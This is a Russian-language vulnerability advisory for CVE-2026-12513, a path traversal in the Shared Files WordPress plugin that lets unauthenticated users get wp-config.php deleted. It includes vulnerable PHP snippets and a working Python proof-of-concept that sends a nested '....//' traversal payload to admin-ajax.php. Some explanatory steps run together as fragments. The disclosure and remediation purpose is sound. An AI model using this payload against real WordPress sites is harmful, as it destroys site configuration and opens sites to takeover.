
Технический advisory и proof-of-concept для CVE-2026-12513, неаутентифицированное произвольное удаление файлов через path traversal в плагине Shared Files для WordPress, включая анализ первопричины и рекомендации по устранению уязвимости.
CVE-2026-12513 — это неаутентифицированная уязвимость произвольного удаления файлов через Path Traversal, затрагивающая плагины WordPress Shared Files и Shared Files Pro до версии 1.7.68, обнаруженная и проанализированная исследователем кибербезопасности Хуинь Кьен Минь (MinhHK). Ошибка возникает в процедурах обработки отправки файлов на стороне фронтенда плагина, где предоставленные пользователем пути к файлам фильтруются с помощью ошибочной однопроходной замены шаблона обхода, которую можно обойти с помощью вложенных последовательностей (например, ....//). В результате неаутентифицированный удалённый злоумышленник может отправить изменённый путь, указывающий за пределы предполагаемого каталога загрузок, для нацеливания на критически важные серверные ресурсы, включая wp-config.php. Когда администратор впоследствии очищает или окончательно удаляет загруженную запись, приложение вызывает примитивы удаления файлов (unlink()) по сохранённому произвольному пути. Это приводит к уничтожению основных конфигурационных файлов WordPress, вызывая серьёзный отказ в обслуживании и позволяя захватить сайт через процедуру установки в неконфигурированном состоянии. Ведущий исследователь Хуинь Кьен Минь оценил эту уязвимость по CVSS 3.1 как 6.8 (средний уровень) (CWE-73 / CWE-22), рекомендовав немедленное обновление плагинов до версии 1.7.68 или новее и надёжную проверку канонических путей.
Быстрые ссылки: Ознакомьтесь с официальным Портфолио по кибербезопасности исследователя или просмотрите Подтверждённую рекомендацию WPScan.
| Параметр | Техническая спецификация |
|---|---|
| Идентификатор уязвимости | CVE-2026-12513 |
| Целевое ПО | Shared Files / Shared Files Pro (плагины WordPress) |
| Слаги плагинов | shared-files, shared-files-pro |
| Уязвимые версии | < 1.7.68 |
| Исправленная версия | >= 1.7.68 |
| Класс уязвимости | Внешний контроль имени файла или пути / Path Traversal (CWE-73 / CWE-22) |
| Оценка CVSS v3.1 | 6.8 (средний) (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H) |
| Обнаружил / Исследователь | Хуинь Кьен Минь (MinhHK) |
| Орган проверки | WPScan / MITRE Corporation |
| Ссылка на рекомендацию WPScan | Отчёт WPScan 25c9fa21-c48b-4333-8abc-87230dc4c869 |
| Портфолио исследователя | https://minhhk.web.app/ |
Уязвимость коренится в неадекватном механизме санитизации путей, реализованном в обработчиках отправки файлов на стороне фронтенда в Shared Files (< 1.7.68).
При приёме отправки файлов с фронтенда плагин пытался удалить последовательности обхода каталогов (../) с помощью однопроходной замены строк:
// Небезопасный однопроходный фильтр санитизации в Shared Files < 1.7.68
$file_path = str_replace( '../', '', $_POST['file_path'] );
Поскольку str_replace() выполняется только один раз слева направо:
....//....//....//wp-config.php../ удаляется один раз из ....//, внешние символы схлопываются обратно вместе, образуя ../:
....// -> ../../../../../wp-config.php!wp_posts или пользовательской таблице плагина)./wp-admin/admin.php?page=shared-files, бэкенд вызывает unlink() для разрешённого сохранённого пути:// Уязвимая логика удаления
$file_to_delete = WP_CONTENT_DIR . '/uploads/shared-files/' . $stored_file_path;
if ( file_exists( $file_to_delete ) ) {
unlink( $file_to_delete ); // Инициирует удаление целевого файла (например, /var/www/html/wp-config.php)
}
wp-config.php:
/wp-admin/install.php).Этическое предупреждение: Этот Proof-of-Concept предоставлен строго для образовательных исследований, защитной валидации и аудита безопасности в рамках этических протоколов раскрытия информации Хуинь Кьен Минем.
poc_cve_2026_12513.py)#!/usr/bin/env python3
"""
CVE-2026-12513: Shared Files < 1.7.68 Неаутентифицированный PoC удаления файлов через Path Traversal
Автор: Хуинь Кьен Минь (MinhHK) - https://minhhk.web.app/
"""
import requests
import sys
TARGET_URL = "http://target-wordpress.local"
UPLOAD_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php"
def trigger_traversal_payload(target_url, target_file="../../../../wp-config.php"):
print(f"[*] Проверка цели: {target_url}")
# Вложенная последовательность обхода, обходящая однопроходный str_replace('../', '', $input)
nested_traversal = "....//....//....//....//" + target_file.lstrip("/")
payload = {
"action": "shared_files_frontend_upload",
"file_name": "innocent_document.pdf",
"file_path": nested_traversal
}
headers = {
"User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-12513 Verification; Huynh Kien Minh)"
}
try:
response = requests.post(UPLOAD_ENDPOINT, data=payload, headers=headers, timeout=10)
print(f"[*] Статус ответа на отправку: {response.status_code}")
if response.status_code == 200:
print("[+] Путь обхода успешно внедрён в хранилище базы данных.")
print("[!] Когда запись будет удалена администратором, целевой файл будет удалён через unlink.")
return True
else:
print(f"[-] Запрос завершился с HTTP-статусом: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Ошибка соединения: {e}")
return False
if __name__ == "__main__":
url = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
trigger_traversal_payload(url)
1.7.68 или выше.wp-config.php установлены только на чтение (chmod 400 или 440) для процесса веб-сервера.